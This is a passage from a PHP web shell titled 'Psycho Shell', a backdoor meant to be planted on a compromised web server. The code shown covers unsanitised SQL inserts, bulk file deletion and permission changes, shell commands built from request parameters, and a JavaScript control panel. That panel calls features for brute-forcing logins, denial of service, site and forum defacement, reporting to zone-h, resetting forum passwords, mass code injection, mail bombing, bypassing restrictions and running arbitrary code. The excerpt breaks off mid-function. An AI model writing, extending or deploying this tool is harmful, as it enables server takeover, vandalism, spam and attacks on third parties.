4635 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4636 mysql_select_db($dbname);
4637
4638 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4639 $row = mysql_fetch_array($sql);
4640 $row = $row['COLUMN_NAME'];
4641 $rowid = $_POST[$row];
4642
4643 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4644 $num = mysql_num_rows( $pResult );
4645
4646 $rowcount = $num;
4647
4648 $pResultLen = mysql_list_fields( $dbname, $tablename );
4649
4650 for( $i = 0; $i < $num; $i++ )
4651 {
4652 $field = mysql_fetch_array( $pResult );
4653 $fieldname = $field["Field"];
4654 $arrdata = $_REQUEST[$fieldname];
4655
4656 $str1 .= "".$fieldname . ",";
4657 $str2 .= "'".$arrdata . "',";
4658 $rowcount--;
4659 if($rowcount != 0)
4660 {
4661 //$str1 .= $fieldname . ",";
4662 //$str2 .= $arrdata . ",";
4663 }
4664 }
4665 $str1=eregi_replace(',$', '', $str1);
4666 $str2=eregi_replace(',$', '', $str2);
4667 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4668 mysql_query($str);
4669
4670 ?><div id="showsql"></div><?php
4671}
4672else if(isset($_GET['logoutdb']))
4673{
4674 setcookie("dbserver",time() - 60*60);
4675 setcookie("dbuser",time() - 60*60);
4676 setcookie("dbpass",time() - 60*60);
4677 header("Location:$self");
4678}
4679else if(isset($_POST['choice']))
4680{
4681 if($_POST['choice'] == "delete")
4682 {
4683 $actbox = $_POST["actbox"];
4684
4685 foreach ($actbox as $myv)
4686 $myv = explode(",",$myv);
4687 foreach ($myv as $v)
4688 {
4689 if(is_file($v))
4690 {
4691 if(unlink($v))
4692 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4693 else
4694 echo "<br><center>Cannot Delete File $v</center>";
4695 }
4696 else if(is_dir($v))
4697 {
4698 rrmdir($v);
4699 }
4700 }
4701 }
4702 else if($_POST['choice'] == "chmod")
4703 { ?>
4704 <form id="chform"><?php
4705 $actbox1 = $_POST['actbox'];
4706 foreach ($actbox1 as $myv)
4707 $myv = explode(",",$myv);
4708 foreach ($myv as $v)
4709 { ?>
4710 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
4711 <?php }
4712 ?>
4713 <table align="center" border="3" style="width:40%; border-color:#333333;">
4714 <tr>
4715 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4716 </tr>
4717 <tr>
4718 <td colspan="2" align="center" style="height:60px">
4719 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
4720 </tr>
4721 </table>
4722
4723 </form> <?php
4724 }
4725 else if($_POST['choice'] == "changefileperms")
4726 {
4727 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
4728 {
4729 $actbox = $_POST["actbox"];
4730 foreach ($actbox as $myv)
4731 $myv = explode(",",$myv);
4732 foreach ($myv as $v)
4733 {
4734 if(is_file($v) || is_dir($v))
4735 {
4736 $perms = 0;
4737 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
4738 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
4739 echo "<div align=left style=width:60%;>";
4740 if(@chmod($v,$perms))
4741 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
4742 else
4743 echo "Cannot Change $v File Permissions<br>";
4744 echo "</div>";
4745 }
4746 }
4747
4748 }
4749 }
4750 else if($_POST['choice'] == "compre")
4751 {
4752 $actbox = $_POST["actbox"];
4753 foreach ($actbox as $myv)
4754 $myv = explode(",",$myv);
4755 foreach ($myv as $v)
4756 {
4757 if(is_file($v))
4758 {
4759 $zip = new ZipArchive();
4760 $filename= basename($v) . '.zip';
4761 if(($zip->open($filename, ZipArchive::CREATE))!==true)
4762 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
4763 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
4764 $zip->addFile(basename($v));
4765 $zip->close();
4766 }
4767 else if(is_dir($v))
4768 {
4769 if($os == "Linux")
4770 {
4771 $filename= basename($v);
4772 execmd("tar --create --recursion --file=$filename.tar $v");
4773 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
4774 }
4775 }
4776 }
4777 }
4778 else if($_POST['choice'] == "uncompre")
4779 {
4780 $actbox = $_POST["actbox"];
4781 foreach ($actbox as $myv)
4782 $myv = explode(",",$myv);
4783 foreach ($myv as $v)
4784 {
4785 if(is_file($v) || is_dir($v))
4786 {
4787 $zip = new ZipArchive;
4788 $filename= basename($v);
4789 $res = $zip->open($filename);
4790 if ($res === TRUE)
4791 {
4792 $pieces = explode(".",$filename);
4793 $zip->extractTo($pieces[0]);
4794 $zip->close();
4795 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
4796 } else
4797 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
4798 }
4799 }
4800 }
4801}
4802else if(isset($_GET['sitename']))
4803{
4804 $sitename = str_replace("http://","",$_GET['sitename']);
4805 $sitename = str_replace("http://www.","",$sitename);
4806 $sitename = str_replace("www.","",$sitename);
4807 $show = myexe("ls -la /etc/valiases/".$sitename);
4808 if(!empty($show))
4809 echo $show;
4810 else
4811 echo "Cannot get the username";
4812}
4813else if(isset($_GET['mydata']))
4814{
4815 listdatabase();
4816}
4817else if(isset($_GET['home']))
4818{
4819 mainfun($_GET['home']);
4820}
4821else if(isset($_GET['dir']))
4822{
4823 mainfun($_GET['myfilepath']);
4824}
4825else if(isset($_GET['mydirpath']))
4826{
4827 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
4828}
4829else
4830{
4831?>
4832<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4833<title>..:::Psycho Shell :::..</title>
4834<script type="text/javascript">
4835checked = false;
4836var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
4837function checkedAll ()
4838{
4839 if (checked == false){checked = true}else{checked = false}
4840 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
4841 {
4842 document.getElementById('myform').elements[i].checked = checked;
4843 }
4844}
4845function urlchange(myfilepath)
4846{
4847 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
4848 splitter = "<?php echo addslashes($directorysperator); ?>";
4849 mypath = mpath = myfilepath.split(splitter);
4850 <?php if($os == "Linux") { ?>
4851 r = "/";
4852 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
4853 <?php } ?>
4854 for (i = 0; i < mypath.length; i++)
4855 {
4856 if(mypath[i] == "")
4857 continue;
4858 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
4859
4860 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
4861 }
4862 myurl = myurl.replace(/\\/g,"\\\\");
4863 return myurl;
4864}
4865function wrtblDIR(mydirpath)
4866{
4867 var ajaxRequest;
4868 ajaxRequest = new XMLHttpRequest();
4869
4870 ajaxRequest.onreadystatechange = function()
4871 {
4872 if(ajaxRequest.readyState == 4)
4873 {
4874 for(i=0;i<=3;i++)
4875 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
4876 }
4877 }
4878
4879 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?&mydirpath="+mydirpath, true);
4880 ajaxRequest.send(null);
4881}
4882function setpath(myfilpath)
4883{
4884 wrtblDIR(myfilpath);
4885 document.getElementById("path").value=myfilpath;
4886 document.getElementById("createfile").value=myfilpath;
4887 document.getElementById("createfolder").value=myfilpath;
4888 document.getElementById("createfolder").value=myfilpath;
4889 document.getElementById("exepath").value=myfilpath;
4890 document.getElementById("auexepath").value=myfilpath;
4891 document.getElementById("showdir").innerHTML="";
4892}
4893function changedir(myaction,myfilepath)
4894{
4895 var myurl = urlchange(myfilepath);
4896
4897 document.getElementById("showmaindata").innerHTML=waitstate;
4898 var ajaxRequest;
4899 ajaxRequest = new XMLHttpRequest();
4900
4901 ajaxRequest.onreadystatechange = function()
4902 {
4903 if(ajaxRequest.readyState == 4)
4904 {
4905 setpath(myfilepath);
4906 document.getElementById("crdir").innerHTML=myurl;
4907 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4908 }
4909 }
4910
4911 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
4912 ajaxRequest.send(null);
4913}
4914function gethome(myaction,mydir)
4915{
4916 var myurl = urlchange(mydir);
4917 document.getElementById("showmaindata").innerHTML=waitstate;
4918 var ajaxRequest;
4919 ajaxRequest = new XMLHttpRequest();
4920
4921 ajaxRequest.onreadystatechange = function()
4922 {
4923 if(ajaxRequest.readyState == 4)
4924 {
4925 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4926 setpath(mydir);
4927 document.getElementById("crdir").innerHTML=myurl;
4928 }
4929 }
4930
4931 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
4932 ajaxRequest.send(null);
4933}
4934function getname(sitename)
4935{
4936 document.getElementById("showsite").innerHTML=waitstate;
4937 var ajaxRequest;
4938 ajaxRequest = new XMLHttpRequest();
4939
4940 ajaxRequest.onreadystatechange = function()
4941 {
4942 if(ajaxRequest.readyState == 4)
4943 {
4944 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
4945 }
4946 }
4947
4948 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
4949 ajaxRequest.send(null);
4950}
4951function myaction(myfileaction,chmode)
4952{
4953 var mytype = document.getElementsByName('actbox[]');
4954 var mychoice = new Array();
4955
4956 for (var i = 0, length = mytype.length; i < length; i++)
4957 {
4958 if (mytype[i].checked)
4959 mychoice[i] = mytype[i].value;
4960 }
4961
4962 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
4963
4964 document.getElementById("showdir").innerHTML=waitstate;
4965 var ajaxRequest;
4966 ajaxRequest = new XMLHttpRequest();
4967
4968 ajaxRequest.onreadystatechange = function()
4969 {
4970 if(ajaxRequest.readyState == 4)
4971 {
4972 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
4973 }
4974 }
4975
4976 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4977 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4978 ajaxRequest.send(params);
4979}
4980function editdata()
4981{
4982 var result = "", // initialize list
4983 i,dbname,tablename;
4984 // iterate through arguments
4985 for (i = 1; i < arguments.length; i++)
4986 {
4987 if(i%2 == 0)
4988 result += arguments[i]+'=';
4989 else
4990 result += arguments[i]+'&';
4991 }
4992 result = result.slice(0, -1);
4993
4994 dbname = arguments[3];
4995 tablename = arguments[5];
4996 var result=result.replace(/dhanush_/g,"");
4997 var params = arguments[0]+"="+result;
4998
4999 document.getElementById("showsql").innerHTML=waitstate;
5000 var ajaxRequest;
5001 ajaxRequest = new XMLHttpRequest();
5002
5003 ajaxRequest.onreadystatechange = function()
5004 {
5005 if(ajaxRequest.readyState == 4)
5006 {
5007 viewtables('listTables',dbname,tablename);
5008 }
5009 }
5010
5011 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5012 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5013 ajaxRequest.send(params);
5014}
5015function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
5016{
5017 document.getElementById("showsql").innerHTML=waitstate;
5018 var ajaxRequest;
5019 ajaxRequest = new XMLHttpRequest();
5020
5021 ajaxRequest.onreadystatechange = function()
5022 {
5023 if(ajaxRequest.readyState == 4)
5024 {
5025 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5026 }
5027 }
5028
5029 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
5030 ajaxRequest.send(null);
5031}
5032function mydatabase(server,username,password)
5033{
5034 document.getElementById("showsql").innerHTML=waitstate;
5035 var ajaxRequest;
5036 ajaxRequest = new XMLHttpRequest();
5037
5038 ajaxRequest.onreadystatechange = function()
5039 {
5040 if(ajaxRequest.readyState == 4)
5041 {
5042 mydatago();
5043 }
5044 }
5045
5046 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
5047 ajaxRequest.send(null);
5048}
5049function mydatago()
5050{
5051 var ajaxRequest;
5052 ajaxRequest = new XMLHttpRequest();
5053
5054 ajaxRequest.onreadystatechange = function()
5055 {
5056 if(ajaxRequest.readyState == 4)
5057 {
5058 document.getElementById("datatable").style.display = 'none';
5059 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5060 }
5061 }
5062
5063 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5064 ajaxRequest.send(null);
5065}
5066function bruteforce(prototype,serverport,login,dict)
5067{
5068 var mytype = document.getElementsByName('mytype');
5069 for (var i = 0, length = mytype.length; i < length; i++)
5070 {
5071 if (mytype[i].checked)
5072 break;
5073 }
5074 var getreverse = 0;
5075 if(document.getElementById('reverse').checked == true)
5076 getreverse = 1;
5077 else
5078 getreverse = 0;
5079
5080 document.getElementById("showbrute").innerHTML=waitstate;
5081 var ajaxRequest;
5082 ajaxRequest = new XMLHttpRequest();
5083
5084 ajaxRequest.onreadystatechange = function()
5085 {
5086 if(ajaxRequest.readyState == 4)
5087 {
5088 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5089 }
5090 }
5091
5092 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5093 ajaxRequest.send(null);
5094}
5095function executemyfile(action,executepath,execute)
5096{
5097 document.getElementById("showmaindata").innerHTML=waitstate;
5098 var ajaxRequest;
5099 ajaxRequest = new XMLHttpRequest();
5100
5101 ajaxRequest.onreadystatechange = function()
5102 {
5103 if(ajaxRequest.readyState == 4)
5104 {
5105 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5106 }
5107 }
5108
5109 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5110 ajaxRequest.send(null);
5111}
5112function maindata(myaction,dir)
5113{
5114 document.getElementById("showmaindata").innerHTML=waitstate;
5115 var ajaxRequest;
5116 ajaxRequest = new XMLHttpRequest();
5117
5118 ajaxRequest.onreadystatechange = function()
5119 {
5120 if(ajaxRequest.readyState == 4)
5121 {
5122 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5123 document.getElementById("showdir").innerHTML="";
5124 }
5125 }
5126
5127 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5128 ajaxRequest.send(null);
5129}
5130function manuallyscriptfn(passwd)
5131{
5132 var message = encodeURIComponent(passwd);
5133 var params = "scriptlocator=scriptlocator&passwd="+passwd;
5134 document.getElementById("showdata").innerHTML=waitstate;
5135 var ajaxRequest;
5136 ajaxRequest = new XMLHttpRequest();
5137
5138 ajaxRequest.onreadystatechange = function()
5139 {
5140 if(ajaxRequest.readyState == 4)
5141 {
5142 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5143 }
5144 }
5145
5146 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5147 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5148 ajaxRequest.send(params);
5149}
5150function my404page(message)
5151{
5152 var message = encodeURIComponent(message);
5153 var params = "404page=404page&message="+message;
5154 document.getElementById("showdata").innerHTML=waitstate;
5155 var ajaxRequest;
5156 ajaxRequest = new XMLHttpRequest();
5157
5158 ajaxRequest.onreadystatechange = function()
5159 {
5160 if(ajaxRequest.readyState == 4)
5161 {
5162 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5163 }
5164 }
5165
5166 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5167 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5168 ajaxRequest.send(params);
5169}
5170function executemyfn(executepath,executemycmd)
5171{
5172 document.getElementById("showexecute").innerHTML="Wait....";
5173 var ajaxRequest;
5174 ajaxRequest = new XMLHttpRequest();
5175
5176 ajaxRequest.onreadystatechange = function()
5177 {
5178 if(ajaxRequest.readyState == 4)
5179 {
5180 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5181 }
5182 }
5183
5184 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5185 ajaxRequest.send(null);
5186}
5187function zoneh(defacer,hackmode,reason,domain)
5188{
5189 var domain = encodeURIComponent(domain);
5190 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5191 document.getElementById("showzone").innerHTML=waitstate;
5192 var ajaxRequest;
5193 ajaxRequest = new XMLHttpRequest();
5194
5195 ajaxRequest.onreadystatechange = function()
5196 {
5197 if(ajaxRequest.readyState == 4)
5198 {
5199 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5200 }
5201 }
5202
5203 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5204 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5205 ajaxRequest.send(params);
5206}
5207function savemyfile(file,content)
5208{
5209 var content = encodeURIComponent(content);
5210 var params = "content="+content+"&file="+file;
5211 document.getElementById("showmydata").innerHTML=waitstate;
5212 var ajaxRequest;
5213 ajaxRequest = new XMLHttpRequest();
5214
5215 ajaxRequest.onreadystatechange = function()
5216 {
5217 if(ajaxRequest.readyState == 4)
5218 {
5219 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5220 }
5221 }
5222
5223 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5224 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5225 ajaxRequest.send(params);
5226}
5227function renamefun(file,to)
5228{
5229 document.getElementById("showmydata").innerHTML=waitstate;
5230 var ajaxRequest;
5231 ajaxRequest = new XMLHttpRequest();
5232
5233 ajaxRequest.onreadystatechange = function()
5234 {
5235 if(ajaxRequest.readyState == 4)
5236 {
5237 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5238 }
5239 }
5240
5241 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5242 ajaxRequest.send(null);
5243}
5244function changeperms(chmode,myfilename)
5245{
5246 document.getElementById("showmydata").innerHTML=waitstate;
5247 var ajaxRequest;
5248 ajaxRequest = new XMLHttpRequest();
5249
5250 ajaxRequest.onreadystatechange = function()
5251 {
5252 if(ajaxRequest.readyState == 4)
5253 {
5254 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5255 }
5256 }
5257
5258 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5259 ajaxRequest.send(null);
5260}
5261function defacefun(deface)
5262{
5263 var ajaxRequest;
5264 ajaxRequest = new XMLHttpRequest();
5265
5266 ajaxRequest.onreadystatechange = function()
5267 {
5268 if(ajaxRequest.readyState == 4)
5269 {
5270 alert(ajaxRequest.responseText);
5271 }
5272 }
5273
5274 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5275 ajaxRequest.send(null);
5276}
5277function fileaction(myaction,myfilepath)
5278{
5279 document.getElementById("showmydata").innerHTML=waitstate;
5280 var ajaxRequest;
5281 ajaxRequest = new XMLHttpRequest();
5282
5283 ajaxRequest.onreadystatechange = function()
5284 {
5285 if(ajaxRequest.readyState == 4)
5286 {
5287 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5288 }
5289 }
5290
5291 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5292 ajaxRequest.send(null);
5293}
5294function bypassfun(funct,functvalue,optiontype)
5295{
5296 document.getElementById("showbyp").innerHTML=waitstate;
5297 var ajaxRequest;
5298 ajaxRequest = new XMLHttpRequest();
5299
5300 ajaxRequest.onreadystatechange = function()
5301 {
5302 if(ajaxRequest.readyState == 4)
5303 {
5304 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5305 }
5306 }
5307
5308 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5309 ajaxRequest.send(null);
5310}
5311function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5312{
5313 document.getElementById("showdos").innerHTML=waitstate;
5314 var ajaxRequest;
5315 ajaxRequest = new XMLHttpRequest();
5316
5317 ajaxRequest.onreadystatechange = function()
5318 {
5319 if(ajaxRequest.readyState == 4)
5320 {
5321 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5322 }
5323 }
5324
5325 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5326 ajaxRequest.send(null);
5327}
5328function createfile(filecreator,filecontent)
5329{
5330 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5331 var filecontent = encodeURIComponent(filecontent);
5332 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5333 document.getElementById("showdir").innerHTML=waitstate;
5334 var ajaxRequest;
5335 ajaxRequest = new XMLHttpRequest();
5336
5337 ajaxRequest.onreadystatechange = function()
5338 {
5339 if(ajaxRequest.readyState == 4)
5340 {
5341 gethome('home',mm);
5342 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5343 }
5344 }
5345
5346 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5347 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5348 ajaxRequest.send(params);
5349}
5350function createdir(create,createfolder)
5351{
5352 document.getElementById("showdir").innerHTML=waitstate;
5353 var ajaxRequest;
5354 ajaxRequest = new XMLHttpRequest();
5355
5356 ajaxRequest.onreadystatechange = function()
5357 {
5358 if(ajaxRequest.readyState == 4)
5359 {
5360 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5361 }
5362 }
5363
5364 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5365 ajaxRequest.send(null);
5366}
5367function codeinsert(code)
5368{
5369 var code = encodeURIComponent(code);
5370 var params = "getcode="+code;
5371 document.getElementById("showcode").innerHTML=waitstate;
5372 var ajaxRequest;
5373 ajaxRequest = new XMLHttpRequest();
5374
5375 ajaxRequest.onreadystatechange = function()
5376 {
5377 if(ajaxRequest.readyState == 4)
5378 {
5379 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5380 }
5381 }
5382
5383 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5384 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5385 ajaxRequest.send(params);
5386}
5387function getmydata(mydata)
5388{
5389 document.getElementById("showmydata").innerHTML=waitstate;
5390 var ajaxRequest;
5391 ajaxRequest = new XMLHttpRequest();
5392
5393 ajaxRequest.onreadystatechange = function()
5394 {
5395 if(ajaxRequest.readyState == 4)
5396 {
5397 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5398 }
5399 }
5400
5401 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5402 ajaxRequest.send(null);
5403}
5404function getdata(mydata,myfile)
5405{
5406 document.getElementById("showdata").innerHTML=waitstate;
5407 var ajaxRequest;
5408 ajaxRequest = new XMLHttpRequest();
5409
5410 ajaxRequest.onreadystatechange = function()
5411 {
5412 if(ajaxRequest.readyState == 4)
5413 {
5414 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5415 }
5416 }
5417
5418 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5419 ajaxRequest.send(null);
5420}
5421function getport(host,protocol,start,end)
5422{
5423 document.getElementById("showports").innerHTML=waitstate;
5424 var ajaxRequest;
5425 ajaxRequest = new XMLHttpRequest();
5426
5427 ajaxRequest.onreadystatechange = function()
5428 {
5429 if(ajaxRequest.readyState == 4)
5430 {
5431 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5432 }
5433 }
5434
5435 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5436 ajaxRequest.send(null);
5437}
5438function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)
5439{
5440 document.getElementById("showchangepass").innerHTML=waitstate;
5441 var ajaxRequest;
5442 ajaxRequest = new XMLHttpRequest();
5443
5444 ajaxRequest.onreadystatechange = function()
5445 {
5446 if(ajaxRequest.readyState == 4)
5447 {
5448 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5449 }
5450 }
5451
5452 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uid=" + uid + "&uname=" + uname + "&newpass=" + newpass, true);
5453 ajaxRequest.send(null);
5454}
5455function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)
5456{
5457 var index = encodeURIComponent(index);
5458 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&alll="+alll+"&f5="+f5;
5459 document.getElementById("showdeface").innerHTML=waitstate;
5460 var ajaxRequest;
5461 ajaxRequest = new XMLHttpRequest();
5462
5463 ajaxRequest.onreadystatechange = function()
5464 {
5465 if(ajaxRequest.readyState == 4)
5466 {
5467 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5468 }
5469 }
5470
5471 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5472 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5473 ajaxRequest.send(params);
5474}
5475function codeinjector(pathtomass,mode,filetype,injectthis)
5476{
5477 var injectthis = encodeURIComponent(injectthis);
5478 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5479 document.getElementById("showinject").innerHTML=waitstate;
5480 var ajaxRequest;
5481 ajaxRequest = new XMLHttpRequest();
5482
5483 ajaxRequest.onreadystatechange = function()
5484 {
5485 if(ajaxRequest.readyState == 4)
5486 {
5487 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5488 }
5489 }
5490
5491 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5492 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5493 ajaxRequest.send(params);
5494}
5495function sendmail(mailfunction,to,subject,message,from,times,padding)
5496{
5497 var message = encodeURIComponent(message);
5498 if(mailfunction == "massmailing")
5499 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5500 else if(mailfunction == "dobombing")
5501 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5502 document.getElementById("showmail").innerHTML=waitstate;
5503 var ajaxRequest;
5504 ajaxRequest = new XMLHttpRequest();
5505
5506 ajaxRequest.onreadystatechange = function()
5507 {
5508 if(ajaxRequest.readyState == 4)
5509 {
5510 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5511 }
5512 }
5513
5514 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5515 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5516 ajaxRequest.send(params);
5517}
5518function execode(code)
5519{
5520 var intext = document.getElementById('intext').checked;
5521 var message = encodeURIComponent(message);
5522 var params = "code="+code+"&intext="+intext;
5523 document.getElementById("showresult").innerHTML=waitstate;
5524 var ajaxRequest;
5525 ajaxRequest = new XMLHttpRequest();
5526
5527 ajaxRequest.onreadystatechange = function()
5528 {
5529 if(ajaxRequest.readyState == 4)
5530 {
5531 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5532 }
5533 }
5534
5535 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
